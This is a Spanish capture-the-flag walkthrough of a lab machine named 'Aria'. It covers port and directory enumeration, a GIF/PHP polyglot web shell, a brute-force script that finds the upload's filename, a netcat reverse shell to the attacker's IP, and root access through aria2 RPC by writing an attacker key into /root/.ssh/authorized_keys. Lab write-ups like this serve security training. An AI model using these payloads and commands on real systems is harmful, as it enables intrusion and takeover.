Enumeración de servicios
Enumeramos puertos:
❯ nmap -sCV -p 22,80,1337 -oN 02-targeted.txt 10.212.91.25
...
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Ultra-Secure Naming Service
1337/tcp open waste?
| --- Aria Debug Shell ---
...Enumeramos directorios y encontramos upload.php y la carpeta uploads/ (403):
❯ gobuster dir -u 'http://10.212.91.25/' -w directory-list-2.3-medium.txt -x php,txt,html,jpg -r
upload.php (Status: 200)
uploads (Status: 403)Acceso inicial mediante un polyglot GIF/PHP
upload.php acepta imágenes de hasta 1 MB y bloquea la cadena <?php, pero valida de forma insuficiente el contenido. Construimos un archivo polyglot: GIF89a satisface la comprobación esperada para una imagen y la etiqueta corta <?= introduce código que PHP todavía interpreta. Al guardarse en una ruta ejecutable, esta variante de Unrestricted File Upload RCE permite invocar comandos mediante cmd:
❯ cat pwned.gif
GIF89a;
<?= phpinfo();exec($_GET['cmd']); ?>La aplicación no devuelve directamente la ruta final, pero genera el nombre como md5(timestamp + rand). El espacio de búsqueda queda limitado a los segundos cercanos a la carga y a mil valores posibles. El script reproduce cada combinación, calcula su MD5 y consulta /uploads/<md5>.gif; una respuesta distinta de 404 identifica un candidato existente:
#!/usr/bin/env python3
import hashlib, time, requests
for ts in range(int(time.time())-20, int(time.time())+1):
for rand_num in range(1, 1001):
md5_hash = hashlib.md5(f"{ts}{rand_num}".encode()).hexdigest()
url = f"http://10.212.91.25/uploads/{md5_hash}.gif"
if requests.head(url, timeout=2).status_code != 404:
print("Found:", url)❯ ./bruteforce.py
[+] Testing: Encontrado!
[*] Found: http://10.212.91.25/uploads/889c93cdc96f0986be7ecdd25b71b7b9.gif (ts=1759862997 rand=686 status=500)Solicitamos el archivo encontrado y usamos ?cmd= para lanzar una reverse shell. La salida de id confirma ejecución como www-data:
http://10.212.91.25/uploads/....gif?cmd=busybox%20nc%2010.212.91.35%201234%20-e%20/bin/bash
❯ ncat -nlvp 1234
Ncat: Connection from 10.212.91.25:53646.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Recuperación del token de aria2
Después de obtener la primera flag en /home/aria, observamos bytes adicionales en user.txt. Corresponden a caracteres Zero-Width Space (ZWSP), invisibles en una lectura normal pero distinguibles con xxd:
www-data@Aria:/home/aria$ xxd user.txt
00000000: 666c 6167 7b75 7365 722d 6431 3361 6461 flag{user-d13ada
...
0000002a: ... e280 8be2 ............ (caracteres ZWSP)Al decodificar la secuencia obtenemos el token utilizado por el RPC local de aria2:
token: maze-secEscalada mediante aria2 RPC
El servicio aria2 se ejecuta como root y expone su RPC únicamente en 127.0.0.1:6800. La sesión de www-data permite alcanzar ese socket local, mientras que el token recuperado satisface su autenticación:
www-data@Aria:/home/aria$ ss -tuln
...
tcp LISTEN 0 128 127.0.0.1:6800 0.0.0.0:*
...
www-data@Aria:/home/aria$ ps aux | grep aria2c
root 344 ... /usr/bin/aria2c --conf-path=/root/.aria2/aria2.confVerificamos la autenticación consultando aria2.getVersion; sin el prefijo token:maze-sec, el servicio responde Unauthorized:
www-data@Aria:/home/aria$ curl -s http://127.0.0.1:6800/jsonrpc -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"aria2.getVersion","id":"Q1","params":["token:maze-sec"]}'
{"id":"Q1","jsonrpc":"2.0","result":{"version":"1.35.0"}}En nuestra máquina generamos un par de claves SSH sin passphrase, copiamos la pública como authorized_keys y la servimos por HTTP:
❯ ssh-keygen -t rsa -f id_rsa_root -N ''
❯ cp id_rsa_root.pub ./authorized_keys
❯ sudo python -m http.server 80aria2.addUri permite elegir tanto la URL de descarga como el directorio y el nombre del archivo de salida. Debido a que aria2 corre como root, esto se convierte en una Arbitrary File Write con sus privilegios. Indicamos /root/.ssh/authorized_keys como destino y luego usamos la clave privada correspondiente para entrar por SSH:
www-data@Aria:/home/aria$ curl -s http://127.0.0.1:6800/jsonrpc -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"aria2.addUri","id":"add","params": ["token:maze-sec",["http://10.212.91.35/authorized_keys"],{ "dir":"/root/.ssh/", "out":"authorized_keys" }]}'
❯ ssh root@10.212.91.25 -i id_rsa_root
root@Aria:~#El prompt root@Aria confirma que la clave fue instalada para la cuenta root.
Fin.